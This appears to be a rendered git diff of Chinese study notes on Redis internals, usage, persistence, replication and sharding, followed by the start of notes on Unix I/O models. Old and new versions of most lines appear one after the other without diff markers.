* guaranteed that this function will rehash even a single bucket, since it
* will visit at max N*10 empty buckets in total, otherwise the amount of
* work it does would be unbound and the function may block for a long time. */
int dictRehash(dict *d, int n) {
int empty_visits = n * 10; /* Max number of empty buckets to visit. */
if (!dictIsRehashing(d)) return 0;
    while (n-- && d->ht[0].used != 0) {
        dictEntry *de, *nextde;
while (n-- && d->ht[0].used != 0) {
dictEntry *de, *nextde;
        /* Note that rehashidx can't overflow as we are sure there are more
         * elements because ht[0].used != 0 */
        assert(d->ht[0].size > (unsigned long) d->rehashidx);
        while (d->ht[0].table[d->rehashidx] == NULL) {
            d->rehashidx++;
            if (--empty_visits == 0) return 1;
        }
        de = d->ht[0].table[d->rehashidx];
        /* Move all the keys in this bucket from the old to the new hash HT */
        while (de) {
            uint64_t h;
/* Note that rehashidx can't overflow as we are sure there are more
* elements because ht[0].used != 0 */
assert(d->ht[0].size > (unsigned long) d->rehashidx);
while (d->ht[0].table[d->rehashidx] == NULL) {
d->rehashidx++;
if (--empty_visits == 0) return 1;
}
de = d->ht[0].table[d->rehashidx];
/* Move all the keys in this bucket from the old to the new hash HT */
while (de) {
uint64_t h;
            nextde = de->next;
            /* Get the index in the new hash table */
            h = dictHashKey(d, de->key) & d->ht[1].sizemask;
            de->next = d->ht[1].table[h];
            d->ht[1].table[h] = de;
            d->ht[0].used--;
            d->ht[1].used++;
            de = nextde;
        }
        d->ht[0].table[d->rehashidx] = NULL;
        d->rehashidx++;
    }
nextde = de->next;
/* Get the index in the new hash table */
h = dictHashKey(d, de->key) & d->ht[1].sizemask;
de->next = d->ht[1].table[h];
d->ht[1].table[h] = de;
d->ht[0].used--;
d->ht[1].used++;
de = nextde;
}
d->ht[0].table[d->rehashidx] = NULL;
d->rehashidx++;
}
    /* Check if we already rehashed the whole table... */
    if (d->ht[0].used == 0) {
        zfree(d->ht[0].table);
        d->ht[0] = d->ht[1];
        _dictReset(&d->ht[1]);
        d->rehashidx = -1;
        return 0;
    }
/* Check if we already rehashed the whole table... */
if (d->ht[0].used == 0) {
zfree(d->ht[0].table);
d->ht[0] = d->ht[1];
_dictReset(&d->ht[1]);
d->rehashidx = -1;
return 0;
}
    /* More to rehash... */
    return 1;
/* More to rehash... */
return 1;
}
```
## 跳跃表
## 跳跃表
是有序集合的底层实现之一。
跳跃表是基于多指针有序链表实现的,可以看成多个有序链表。
<img src="index_files/beba612e-dc5b-4fc2-869d-0b23408ac90a.png" width="600px"/>
<div align="center"> <img src="pics/beba612e-dc5b-4fc2-869d-0b23408ac90a.png" width="600px"/> </div><br>
在查找时,从上层指针开始查找,找到对应的区间之后再到下一层去查找。下图演示了查找 22 的过程。
在查找时,从上层指针开始查找,找到对应的区间之后再到下一层去查找。下图演示了查找 22 的过程。
<img src="index_files/0ea37ee2-c224-4c79-b895-e131c6805c40.png" width="600px"/>
<div align="center"> <img src="pics/0ea37ee2-c224-4c79-b895-e131c6805c40.png" width="600px"/> </div><br>
与红黑树等平衡树相比,跳跃表具有以下优点:
- 插入速度非常快速,因为不需要进行旋转等操作来维护平衡性;
- 更容易实现;
- 支持无锁操作。
- 插入速度非常快速,因为不需要进行旋转等操作来维护平衡性;
- 更容易实现;
- 支持无锁操作。
# 四、使用场景
# 四、使用场景
## 计数器
## 计数器
可以对 String 进行自增自减运算,从而实现计数器功能。
可以对 String 进行自增自减运算,从而实现计数器功能。
Redis 这种内存型数据库的读写性能非常高,很适合存储频繁读写的计数量。
Redis 这种内存型数据库的读写性能非常高,很适合存储频繁读写的计数量。
## 缓存
## 缓存
将热点数据放到内存中,设置内存的最大使用量以及淘汰策略来保证缓存的命中率。
## 查找表
## 查找表
例如 DNS 记录就很适合使用 Redis 进行存储。
例如 DNS 记录就很适合使用 Redis 进行存储。
查找表和缓存类似,也是利用了 Redis 快速的查找特性。但是查找表的内容不能失效,而缓存的内容可以失效,因为缓存不作为可靠的数据来源。
查找表和缓存类似,也是利用了 Redis 快速的查找特性。但是查找表的内容不能失效,而缓存的内容可以失效,因为缓存不作为可靠的数据来源。
## 消息队列
## 消息队列
List 是一个双向链表可以通过 lpop  lpush 写入和读取消息。
List 是一个双向链表,可以通过 lpop 和 lpush 写入和读取消息。
不过最好使用 Kafka、RabbitMQ 等消息中间件。
不过最好使用 Kafka、RabbitMQ 等消息中间件。
## 会话缓存
## 会话缓存
可以使用 Redis 来统一存储多台应用服务器的会话信息。
可以使用 Redis 来统一存储多台应用服务器的会话信息。
当应用服务器不再存储用户的会话信息,也就不再具有状态,一个用户可以请求任意一个应用服务器,从而更容易实现高可用性以及可伸缩性。
## 分布式锁实现
## 分布式锁实现
在分布式场景下,无法使用单机环境下的锁来对多个节点上的进程进行同步。
可以使用 Reids 自带的 SETNX 命令实现分布式锁除此之外还可以使用官方提供的 RedLock 分布式锁实现。
可以使用 Reids 自带的 SETNX 命令实现分布式锁,除此之外,还可以使用官方提供的 RedLock 分布式锁实现。
## 其它
## 其它
Set 可以实现交集、并集等操作,从而实现共同好友等功能。
Set 可以实现交集、并集等操作,从而实现共同好友等功能。
ZSet 可以实现有序性操作,从而实现排行榜等功能。
ZSet 可以实现有序性操作,从而实现排行榜等功能。
# 五、Redis  Memcached
# 五、Redis 与 Memcached
两者都是非关系型内存键值数据库,主要有以下不同:
## 数据类型
## 数据类型
Memcached 仅支持字符串类型 Redis 支持五种不同的数据类型,可以更灵活地解决问题。
Memcached 仅支持字符串类型,而 Redis 支持五种不同的数据类型,可以更灵活地解决问题。
## 数据持久化
## 数据持久化
Redis 支持两种持久化策略RDB 快照和 AOF 日志 Memcached 不支持持久化。
Redis 支持两种持久化策略RDB 快照和 AOF 日志,而 Memcached 不支持持久化。
## 分布式
## 分布式
Memcached 不支持分布式,只能通过在客户端使用一致性哈希来实现分布式存储,这种方式在存储和查询时都需要先在客户端计算一次数据所在的节点。
Memcached 不支持分布式,只能通过在客户端使用一致性哈希来实现分布式存储,这种方式在存储和查询时都需要先在客户端计算一次数据所在的节点。
Redis Cluster 实现了分布式的支持。
Redis Cluster 实现了分布式的支持。
## 内存管理机制
## 内存管理机制
-  Redis 并不是所有数据都一直存储在内存中可以将一些很久没用的 value 交换到磁盘 Memcached 的数据则会一直在内存中。
- 在 Redis 中,并不是所有数据都一直存储在内存中,可以将一些很久没用的 value 交换到磁盘,而 Memcached 的数据则会一直在内存中。
- Memcached 将内存分割成特定长度的块来存储数据,以完全解决内存碎片的问题。但是这种方式会使得内存的利用率不高,例如块的大小为 128 bytes只存储 100 bytes 的数据那么剩下的 28 bytes 就浪费掉了。
- Memcached 将内存分割成特定长度的块来存储数据,以完全解决内存碎片的问题。但是这种方式会使得内存的利用率不高,例如块的大小为 128 bytes只存储 100 bytes 的数据,那么剩下的 28 bytes 就浪费掉了。
# 六、键的过期时间
# 六、键的过期时间
Redis 可以为每个键设置过期时间,当键过期时,会自动删除该键。
Redis 可以为每个键设置过期时间,当键过期时,会自动删除该键。
对于散列表这种容器,只能为整个键设置过期时间(整个散列表),而不能为键里面的单个元素设置过期时间。
# 七、数据淘汰策略
# 七、数据淘汰策略
可以设置内存最大使用量,当内存使用量超出时,会施行数据淘汰策略。
Reids 具体有 6 种淘汰策略:
Reids 具体有 6 种淘汰策略:
| 策略 | 描述 |
| :--: | :--: |
| volatile-lru | 从已设置过期时间的数据集中挑选最近最少使用的数据淘汰 |
| volatile-ttl | 从已设置过期时间的数据集中挑选将要过期的数据淘汰 |
|volatile-random | 从已设置过期时间的数据集中任意选择数据淘汰 |
| allkeys-lru | 从所有数据集中挑选最近最少使用的数据淘汰 |
| allkeys-random | 从所有数据集中任意选择数据进行淘汰 |
| noeviction | 禁止驱逐数据 |
| 策略 | 描述 |
| :--: | :--: |
| volatile-lru | 从已设置过期时间的数据集中挑选最近最少使用的数据淘汰 |
| volatile-ttl | 从已设置过期时间的数据集中挑选将要过期的数据淘汰 |
|volatile-random | 从已设置过期时间的数据集中任意选择数据淘汰 |
| allkeys-lru | 从所有数据集中挑选最近最少使用的数据淘汰 |
| allkeys-random | 从所有数据集中任意选择数据进行淘汰 |
| noeviction | 禁止驱逐数据 |
作为内存数据库出于对性能和内存消耗的考虑Redis 的淘汰算法实际实现上并非针对所有 key而是抽样一小部分并且从中选出被淘汰的 key。
作为内存数据库出于对性能和内存消耗的考虑Redis 的淘汰算法实际实现上并非针对所有 key而是抽样一小部分并且从中选出被淘汰的 key。
使用 Redis 缓存数据时,为了提高缓存命中率,需要保证缓存数据都是热点数据。可以将内存最大使用量设置为热点数据占用的内存量,然后启用 allkeys-lru 淘汰策略,将最近最少使用的数据淘汰。
使用 Redis 缓存数据时,为了提高缓存命中率,需要保证缓存数据都是热点数据。可以将内存最大使用量设置为热点数据占用的内存量,然后启用 allkeys-lru 淘汰策略,将最近最少使用的数据淘汰。
Redis 4.0 引入了 volatile-lfu  allkeys-lfu 淘汰策略LFU 策略通过统计访问频率,将访问频率最少的键值对淘汰。
Redis 4.0 引入了 volatile-lfu 和 allkeys-lfu 淘汰策略LFU 策略通过统计访问频率,将访问频率最少的键值对淘汰。
# 八、持久化
# 八、持久化
Redis 是内存型数据库,为了保证数据在断电后不会丢失,需要将内存中的数据持久化到硬盘上。
Redis 是内存型数据库,为了保证数据在断电后不会丢失,需要将内存中的数据持久化到硬盘上。
## RDB 持久化
## RDB 持久化
将某个时间点的所有数据都存放到硬盘上。
@ -389,187 +437,173 @@ Redis 是内存型数据库为了保证数据在断电后不会丢失
如果数据量很大,保存快照的时间会很长。
## AOF 持久化
## AOF 持久化
将写命令添加到 AOF 文件Append Only File的末尾。
将写命令添加到 AOF 文件Append Only File的末尾。
使用 AOF 持久化需要设置同步选项,从而确保写命令什么时候会同步到磁盘文件上。这是因为对文件进行写入并不会马上将内容同步到磁盘上,而是先存储到缓冲区,然后由操作系统决定什么时候同步到磁盘。有以下同步选项:
使用 AOF 持久化需要设置同步选项,从而确保写命令什么时候会同步到磁盘文件上。这是因为对文件进行写入并不会马上将内容同步到磁盘上,而是先存储到缓冲区,然后由操作系统决定什么时候同步到磁盘。有以下同步选项:
| 选项 | 同步频率 |
| :--: | :--: |
| always | 每个写命令都同步 |
| everysec | 每秒同步一次 |
| no | 让操作系统来决定何时同步 |
| 选项 | 同步频率 |
| :--: | :--: |
| always | 每个写命令都同步 |
| everysec | 每秒同步一次 |
| no | 让操作系统来决定何时同步 |
- always 选项会严重减低服务器的性能;
- everysec 选项比较合适可以保证系统崩溃时只会丢失一秒左右的数据并且 Redis 每秒执行一次同步对服务器性能几乎没有任何影响;
- no 选项并不能给服务器性能带来多大的提升,而且也会增加系统崩溃时数据丢失的数量。
- always 选项会严重减低服务器的性能;
- everysec 选项比较合适,可以保证系统崩溃时只会丢失一秒左右的数据,并且 Redis 每秒执行一次同步对服务器性能几乎没有任何影响;
- no 选项并不能给服务器性能带来多大的提升,而且也会增加系统崩溃时数据丢失的数量。
随着服务器写请求的增多AOF 文件会越来越大。Redis 提供了一种将 AOF 重写的特性能够去除 AOF 文件中的冗余写命令。
随着服务器写请求的增多AOF 文件会越来越大。Redis 提供了一种将 AOF 重写的特性,能够去除 AOF 文件中的冗余写命令。
# 九、事务
# 九、事务
一个事务包含了多个命令,服务器在执行事务期间,不会改去执行其它客户端的命令请求。
事务中的多个命令被一次性发送给服务器,而不是一条一条发送,这种方式被称为流水线,它可以减少客户端与服务器之间的网络通信次数从而提升性能。
Redis 最简单的事务实现方式是使用 MULTI  EXEC 命令将事务操作包围起来。
Redis 最简单的事务实现方式是使用 MULTI 和 EXEC 命令将事务操作包围起来。
# 十、事件
# 十、事件
Redis 服务器是一个事件驱动程序。
Redis 服务器是一个事件驱动程序。
## 文件事件
## 文件事件
服务器通过套接字与客户端或者其它服务器进行通信,文件事件就是对套接字操作的抽象。
Redis 基于 Reactor 模式开发了自己的网络事件处理器使用 I/O 多路复用程序来同时监听多个套接字,并将到达的事件传送给文件事件分派器,分派器会根据套接字产生的事件类型调用相应的事件处理器。
Redis 基于 Reactor 模式开发了自己的网络事件处理器,使用 I/O 多路复用程序来同时监听多个套接字,并将到达的事件传送给文件事件分派器,分派器会根据套接字产生的事件类型调用相应的事件处理器。
<img src="index_files/9ea86eb5-000a-4281-b948-7b567bd6f1d8.png" width=""/>
<div align="center"> <img src="pics/9ea86eb5-000a-4281-b948-7b567bd6f1d8.png" width=""/> </div><br>
## 时间事件
## 时间事件
服务器有一些操作需要在给定的时间点执行,时间事件是对这类定时操作的抽象。
时间事件又分为:
- 定时事件:是让一段程序在指定的时间之内执行一次;
- 周期性事件:是让一段程序每隔指定时间就执行一次。
- 定时事件:是让一段程序在指定的时间之内执行一次;
- 周期性事件:是让一段程序每隔指定时间就执行一次。
Redis 将所有时间事件都放在一个无序链表中,通过遍历整个链表查找出已到达的时间事件,并调用相应的事件处理器。
Redis 将所有时间事件都放在一个无序链表中,通过遍历整个链表查找出已到达的时间事件,并调用相应的事件处理器。
## 事件的调度与执行
## 事件的调度与执行
服务器需要不断监听文件事件的套接字才能得到待处理的文件事件,但是不能一直监听,否则时间事件无法在规定的时间内执行,因此监听时间应该根据距离现在最近的时间事件来决定。
事件调度与执行由 aeProcessEvents 函数负责,伪代码如下:
事件调度与执行由 aeProcessEvents 函数负责,伪代码如下:
```python
def aeProcessEvents():
    # 获取到达时间离当前时间最接近的时间事件
    time_event = aeSearchNearestTimer()
    # 计算最接近的时间事件距离到达还有多少毫秒
    remaind_ms = time_event.when - unix_ts_now()
    # 如果事件已到达那么 remaind_ms 的值可能为负数将它设为 0
    if remaind_ms < 0:
        remaind_ms = 0
    # 根据 remaind_ms 的值创建 timeval
    timeval = create_timeval_with_ms(remaind_ms)
    # 阻塞并等待文件事件产生最大阻塞时间由传入的 timeval 决定
    aeApiPoll(timeval)
    # 处理所有已产生的文件事件
    procesFileEvents()
    # 处理所有已到达的时间事件
    processTimeEvents()
def aeProcessEvents():
# 获取到达时间离当前时间最接近的时间事件
time_event = aeSearchNearestTimer()
# 计算最接近的时间事件距离到达还有多少毫秒
remaind_ms = time_event.when - unix_ts_now()
# 如果事件已到达,那么 remaind_ms 的值可能为负数,将它设为 0
if remaind_ms < 0:
remaind_ms = 0
# 根据 remaind_ms 的值,创建 timeval
timeval = create_timeval_with_ms(remaind_ms)
# 阻塞并等待文件事件产生,最大阻塞时间由传入的 timeval 决定
aeApiPoll(timeval)
# 处理所有已产生的文件事件
procesFileEvents()
# 处理所有已到达的时间事件
processTimeEvents()
```
 aeProcessEvents 函数置于一个循环里面加上初始化和清理函数就构成了 Redis 服务器的主函数,伪代码如下:
aeProcessEvents 函数置于一个循环里面,加上初始化和清理函数,就构成了 Redis 服务器的主函数,伪代码如下:
```python
def main():
    # 初始化服务器
    init_server()
    # 一直处理事件,直到服务器关闭为止
    while server_is_not_shutdown():
        aeProcessEvents()
    # 服务器关闭,执行清理操作
    clean_server()
def main():
# 初始化服务器
init_server()
# 一直处理事件,直到服务器关闭为止
while server_is_not_shutdown():
aeProcessEvents()
# 服务器关闭,执行清理操作
clean_server()
```
从事件处理的角度来看,服务器运行流程如下:
<img src="index_files/c0a9fa91-da2e-4892-8c9f-80206a6f7047.png" width="350"/>
<div align="center"> <img src="pics/c0a9fa91-da2e-4892-8c9f-80206a6f7047.png" width="350"/> </div><br>
# 十一、复制
# 十一、复制
通过使用 slaveof host port 命令来让一个服务器成为另一个服务器的从服务器。
通过使用 slaveof host port 命令来让一个服务器成为另一个服务器的从服务器。
一个从服务器只能有一个主服务器,并且不支持主主复制。
## 连接过程
## 连接过程
1. 主服务器创建快照文件,发送给从服务器,并在发送期间使用缓冲区记录执行的写命令。快照文件发送完毕之后,开始向从服务器发送存储在缓冲区中的写命令;
1. 主服务器创建快照文件,发送给从服务器,并在发送期间使用缓冲区记录执行的写命令。快照文件发送完毕之后,开始向从服务器发送存储在缓冲区中的写命令;
2. 从服务器丢弃所有旧数据,载入主服务器发来的快照文件,之后从服务器开始接受主服务器发来的写命令;
2. 从服务器丢弃所有旧数据,载入主服务器发来的快照文件,之后从服务器开始接受主服务器发来的写命令;
3. 主服务器每执行一次写命令,就向从服务器发送相同的写命令。
3. 主服务器每执行一次写命令,就向从服务器发送相同的写命令。
## 主从链
## 主从链
随着负载不断上升,主服务器可能无法很快地更新所有从服务器,或者重新连接和重新同步从服务器将导致系统超载。为了解决这个问题,可以创建一个中间层来分担主服务器的复制工作。中间层的服务器是最上层服务器的从服务器,又是最下层服务器的主服务器。
<img src="index_files/395a9e83-b1a1-4a1d-b170-d081e7bb5bab.png" width="600"/>
<div align="center"> <img src="pics/395a9e83-b1a1-4a1d-b170-d081e7bb5bab.png" width="600"/> </div><br>
# 十二、Sentinel
# 十二、Sentinel
Sentinel哨兵可以监听集群中的服务器并在主服务器进入下线状态时自动从从服务器中选举出新的主服务器。
# 十三、分片
# 十三、分片
分片是将数据划分为多个部分的方法,可以将数据存储到多台机器里面,这种方法在解决某些问题时可以获得线性级别的性能提升。
假设有 4  Reids 实例 R0R1R2R3还有很多表示用户的键 user:1user:2... ,有不同的方式来选择一个指定的键存储在哪个实例中。
假设有 4 个 Reids 实例 R0R1R2R3还有很多表示用户的键 user:1user:2... ,有不同的方式来选择一个指定的键存储在哪个实例中。
- 最简单的方式是范围分片例如用户 id  0~1000 的存储到实例 R0 用户 id  1001~2000 的存储到实例 R1 中,等等。但是这样需要维护一张映射范围表,维护操作代价很高。
- 还有一种方式是哈希分片使用 CRC32 哈希函数将键转换为一个数字,再对实例数量求模就能知道应该存储的实例。
- 最简单的方式是范围分片,例如用户 id 从 0\~1000 的存储到实例 R0 中,用户 id 从 1001\~2000 的存储到实例 R1 中,等等。但是这样需要维护一张映射范围表,维护操作代价很高。
- 还有一种方式是哈希分片,使用 CRC32 哈希函数将键转换为一个数字,再对实例数量求模就能知道应该存储的实例。
根据执行分片的位置,可以分为三种分片方式:
- 客户端分片:客户端使用一致性哈希等算法决定键应当分布到哪个节点。
- 代理分片:将客户端请求发送到代理上,由代理转发请求到正确的节点上。
- 服务器分片Redis Cluster。
- 客户端分片:客户端使用一致性哈希等算法决定键应当分布到哪个节点。
- 代理分片:将客户端请求发送到代理上,由代理转发请求到正确的节点上。
- 服务器分片Redis Cluster。
# 十四、一个简单的论坛系统分析
# 十四、一个简单的论坛系统分析
该论坛系统功能如下:
- 可以发布文章;
- 可以对文章进行点赞;
- 在首页可以按文章的发布时间或者文章的点赞数进行排序显示。
- 可以发布文章;
- 可以对文章进行点赞;
- 在首页可以按文章的发布时间或者文章的点赞数进行排序显示。
## 文章信息
## 文章信息
文章包括标题、作者、赞数等信息,在关系型数据库中很容易构建一张表来存储这些信息,在 Redis 中可以使用 HASH 来存储每种信息以及其对应的值的映射。
文章包括标题、作者、赞数等信息,在关系型数据库中很容易构建一张表来存储这些信息,在 Redis 中可以使用 HASH 来存储每种信息以及其对应的值的映射。
Redis 没有关系型数据库中的表这一概念来将同种类型的数据存放在一起,而是使用命名空间的方式来实现这一功能。键名的前面部分存储命名空间,后面部分的内容存储 ID通常使用 : 来进行分隔。例如下面的 HASH 的键名为 article:92617其中 article 为命名空间ID  92617。
Redis 没有关系型数据库中的表这一概念来将同种类型的数据存放在一起,而是使用命名空间的方式来实现这一功能。键名的前面部分存储命名空间,后面部分的内容存储 ID通常使用 : 来进行分隔。例如下面的 HASH 的键名为 article:92617其中 article 为命名空间ID 为 92617。
<img src="index_files/7c54de21-e2ff-402e-bc42-4037de1c1592.png" width="400"/>
<div align="center"> <img src="pics/7c54de21-e2ff-402e-bc42-4037de1c1592.png" width="400"/> </div><br>
## 点赞功能
## 点赞功能
当有用户为一篇文章点赞时,除了要对该文章的 votes 字段进行加 1 操作还必须记录该用户已经对该文章进行了点赞防止用户点赞次数超过 1。可以建立文章的已投票用户集合来进行记录。
当有用户为一篇文章点赞时,除了要对该文章的 votes 字段进行加 1 操作,还必须记录该用户已经对该文章进行了点赞,防止用户点赞次数超过 1。可以建立文章的已投票用户集合来进行记录。
为了节约内存,规定一篇文章发布满一周之后,就不能再对它进行投票,而文章的已投票集合也会被删除,可以为文章的已投票集合设置一个一周的过期时间就能实现这个规定。
<img src="index_files/485fdf34-ccf8-4185-97c6-17374ee719a0.png" width="400"/>
<div align="center"> <img src="pics/485fdf34-ccf8-4185-97c6-17374ee719a0.png" width="400"/> </div><br>
## 对文章进行排序
## 对文章进行排序
为了按发布时间和点赞数进行排序,可以建立一个文章发布时间的有序集合和一个文章点赞数的有序集合。(下图中的 score 就是这里所说的点赞数;下面所示的有序集合分值并不直接是时间和点赞数,而是根据时间和点赞数间接计算出来的)
为了按发布时间和点赞数进行排序,可以建立一个文章发布时间的有序集合和一个文章点赞数的有序集合。(下图中的 score 就是这里所说的点赞数;下面所示的有序集合分值并不直接是时间和点赞数,而是根据时间和点赞数间接计算出来的)
<img src="index_files/f7d170a3-e446-4a64-ac2d-cb95028f81a8.png" width="800"/>
<div align="center"> <img src="pics/f7d170a3-e446-4a64-ac2d-cb95028f81a8.png" width="800"/> </div><br>
# 参考资料
# 参考资料
- Carlson J L. Redis in Action[J]. Media.johnwiley.com.au, 2013.
- [黄健宏. Redis 设计与实现 [M]. 机械工业出版社, 2014.](http://redisbook.com/index.html)
- [REDIS IN ACTION](https://redislabs.com/ebook/foreword/)
- [Skip Lists: Done Right](http://ticki.github.io/blog/skip-lists-done-right/)
- [论述 Redis  Memcached 的差异](http://www.cnblogs.com/loveincode/p/7411911.html)
- [Redis 3.0 中文版- 分片](http://wiki.jikexueyuan.com/project/redis-guide)
- [Redis 应用场景](http://www.scienjus.com/redis-use-case/)
- [Using Redis as an LRU cache](https://redis.io/topics/lru-cache)
---bottom---CyC---
![](index_files/6019b2db-bc3e-4408-b6d8-96025f4481d6.png)
![](index_files/fb327611-7e2b-4f2f-9f5b-38592d408f07.png)
![](index_files/cd5fbcff-3f35-43a6-8ffa-082a93ce0f0e.png)
![](index_files/7bd202a7-93d4-4f3a-a878-af68ae25539a.png)
![](index_files/1202b2d6-9469-4251-bd47-ca6034fb6116.png)
![](index_files/beba612e-dc5b-4fc2-869d-0b23408ac90a.png)
![](index_files/0ea37ee2-c224-4c79-b895-e131c6805c40.png)
![](index_files/9ea86eb5-000a-4281-b948-7b567bd6f1d8.png)
![](index_files/c0a9fa91-da2e-4892-8c9f-80206a6f7047.png)
![](index_files/395a9e83-b1a1-4a1d-b170-d081e7bb5bab.png)
![](index_files/7c54de21-e2ff-402e-bc42-4037de1c1592.png)
![](index_files/485fdf34-ccf8-4185-97c6-17374ee719a0.png)
![](index_files/f7d170a3-e446-4a64-ac2d-cb95028f81a8.png)
- Carlson J L. Redis in Action[J]. Media.johnwiley.com.au, 2013.
- [黄健宏. Redis 设计与实现 [M]. 机械工业出版社, 2014.](http://redisbook.com/index.html)
- [REDIS IN ACTION](https://redislabs.com/ebook/foreword/)
- [Skip Lists: Done Right](http://ticki.github.io/blog/skip-lists-done-right/)
- [论述 Redis 和 Memcached 的差异](http://www.cnblogs.com/loveincode/p/7411911.html)
- [Redis 3.0 中文版- 分片](http://wiki.jikexueyuan.com/project/redis-guide)
- [Redis 应用场景](http://www.scienjus.com/redis-use-case/)
- [Using Redis as an LRU cache](https://redis.io/topics/lru-cache)

File diff suppressed because it is too large Load Diff

View File

@ -1,304 +1,324 @@
# 一、I/O 模型
[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
<!-- GFM-TOC -->
* [一、I/O 模型](#一io-模型)
* [阻塞式 I/O](#阻塞式-io)
* [非阻塞式 I/O](#非阻塞式-io)
* [I/O 复用](#io-复用)
* [信号驱动 I/O](#信号驱动-io)
* [异步 I/O](#异步-io)
* [五大 I/O 模型比较](#五大-io-模型比较)
* [二、I/O 复用](#二io-复用)
* [select](#select)
* [poll](#poll)
* [比较](#比较)
* [epoll](#epoll)
* [工作模式](#工作模式)
* [应用场景](#应用场景)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
# 一、I/O 模型
一个输入操作通常包括两个阶段:
- 等待数据准备好
- 从内核向进程复制数据
- 等待数据准备好
- 从内核向进程复制数据
对于一个套接字上的输入操作,第一步通常涉及等待数据从网络中到达。当所等待数据到达时,它被复制到内核中的某个缓冲区。第二步就是把数据从内核缓冲区复制到应用进程缓冲区。
Unix 有五种 I/O 模型
Unix 有五种 I/O 模型:
- 阻塞式 I/O
- 非阻塞式 I/O
- I/O 复用select  poll
- 信号驱动式 I/OSIGIO
- 异步 I/OAIO
- 阻塞式 I/O
- 非阻塞式 I/O
- I/O 复用select 和 poll
- 信号驱动式 I/OSIGIO
- 异步 I/OAIO
## 阻塞式 I/O
## 阻塞式 I/O
应用进程被阻塞,直到数据复制到应用进程缓冲区中才返回。
应该注意到,在阻塞的过程中,其它程序还可以执行,因此阻塞不意味着整个操作系统都被阻塞。因为其他程序还可以执行,所以不消耗 CPU 时间这种模型的 CPU 利用率效率会比较高。
应该注意到,在阻塞的过程中,其它程序还可以执行,因此阻塞不意味着整个操作系统都被阻塞。因为其他程序还可以执行,所以不消耗 CPU 时间,这种模型的 CPU 利用率效率会比较高。
下图中recvfrom 用于接收 Socket 传来的数据并复制到应用进程的缓冲区 buf 中。这里把 recvfrom() 当成系统调用。
下图中recvfrom 用于接收 Socket 传来的数据,并复制到应用进程的缓冲区 buf 中。这里把 recvfrom() 当成系统调用。
```c
ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags, struct sockaddr *src_addr, socklen_t *addrlen);
ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags, struct sockaddr *src_addr, socklen_t *addrlen);
```
![](index_files/1492928416812_4.png)
<div align="center"> <img src="pics/1492928416812_4.png"/> </div><br>
## 非阻塞式 I/O
## 非阻塞式 I/O
应用进程执行系统调用之后,内核返回一个错误码。应用进程可以继续执行,但是需要不断的执行系统调用来获知 I/O 是否完成这种方式称为轮询polling
应用进程执行系统调用之后,内核返回一个错误码。应用进程可以继续执行,但是需要不断的执行系统调用来获知 I/O 是否完成这种方式称为轮询polling
由于 CPU 要处理更多的系统调用因此这种模型的 CPU 利用率是比较低的。
由于 CPU 要处理更多的系统调用,因此这种模型的 CPU 利用率是比较低的。
![](index_files/1492929000361_5.png)
<div align="center"> <img src="pics/1492929000361_5.png"/> </div><br>
## I/O 复用
## I/O 复用
使用 select 或者 poll 等待数据,并且可以等待多个套接字中的任何一个变为可读。这一过程会被阻塞,当某一个套接字可读时返回,之后再使用 recvfrom 把数据从内核复制到进程中。
使用 select 或者 poll 等待数据,并且可以等待多个套接字中的任何一个变为可读。这一过程会被阻塞,当某一个套接字可读时返回,之后再使用 recvfrom 把数据从内核复制到进程中。
它可以让单个进程具有处理多个 I/O 事件的能力。又被称为 Event Driven I/O即事件驱动 I/O。
它可以让单个进程具有处理多个 I/O 事件的能力。又被称为 Event Driven I/O即事件驱动 I/O。
如果一个 Web 服务器没有 I/O 复用那么每一个 Socket 连接都需要创建一个线程去处理。如果同时有几万个连接那么就需要创建相同数量的线程。相比于多进程和多线程技术I/O 复用不需要进程线程创建和切换的开销,系统开销更小。
如果一个 Web 服务器没有 I/O 复用,那么每一个 Socket 连接都需要创建一个线程去处理。如果同时有几万个连接那么就需要创建相同数量的线程。相比于多进程和多线程技术I/O 复用不需要进程线程创建和切换的开销,系统开销更小。
![](index_files/1492929444818_6.png)
<div align="center"> <img src="pics/1492929444818_6.png"/> </div><br>
## 信号驱动 I/O
## 信号驱动 I/O
应用进程使用 sigaction 系统调用,内核立即返回,应用进程可以继续执行,也就是说等待数据阶段应用进程是非阻塞的。内核在数据到达时向应用进程发送 SIGIO 信号应用进程收到之后在信号处理程序中调用 recvfrom 将数据从内核复制到应用进程中。
应用进程使用 sigaction 系统调用,内核立即返回,应用进程可以继续执行,也就是说等待数据阶段应用进程是非阻塞的。内核在数据到达时向应用进程发送 SIGIO 信号,应用进程收到之后在信号处理程序中调用 recvfrom 将数据从内核复制到应用进程中。
相比于非阻塞式 I/O 的轮询方式信号驱动 I/O  CPU 利用率更高。
相比于非阻塞式 I/O 的轮询方式,信号驱动 I/O 的 CPU 利用率更高。
![](index_files/1492929553651_7.png)
<div align="center"> <img src="pics/1492929553651_7.png"/> </div><br>
## 异步 I/O
## 异步 I/O
应用进程执行 aio_read 系统调用会立即返回,应用进程可以继续执行,不会被阻塞,内核会在所有操作完成之后向应用进程发送信号。
应用进程执行 aio_read 系统调用会立即返回,应用进程可以继续执行,不会被阻塞,内核会在所有操作完成之后向应用进程发送信号。
异步 I/O 与信号驱动 I/O 的区别在于异步 I/O 的信号是通知应用进程 I/O 完成而信号驱动 I/O 的信号是通知应用进程可以开始 I/O。
异步 I/O 与信号驱动 I/O 的区别在于,异步 I/O 的信号是通知应用进程 I/O 完成,而信号驱动 I/O 的信号是通知应用进程可以开始 I/O。
![](index_files/1492930243286_8.png)
<div align="center"> <img src="pics/1492930243286_8.png"/> </div><br>
## 五大 I/O 模型比较
## 五大 I/O 模型比较
- 同步 I/O将数据从内核缓冲区复制到应用进程缓冲区的阶段应用进程会阻塞。
- 异步 I/O不会阻塞。
- 同步 I/O将数据从内核缓冲区复制到应用进程缓冲区的阶段应用进程会阻塞。
- 异步 I/O不会阻塞。
阻塞式 I/O、非阻塞式 I/O、I/O 复用和信号驱动 I/O 都是同步 I/O它们的主要区别在第一个阶段。
阻塞式 I/O、非阻塞式 I/O、I/O 复用和信号驱动 I/O 都是同步 I/O它们的主要区别在第一个阶段。
非阻塞式 I/O 、信号驱动 I/O 和异步 I/O 在第一阶段不会阻塞。
非阻塞式 I/O 、信号驱动 I/O 和异步 I/O 在第一阶段不会阻塞。
![](index_files/1492928105791_3.png)
<div align="center"> <img src="pics/1492928105791_3.png"/> </div><br>
# 二、I/O 复用
# 二、I/O 复用
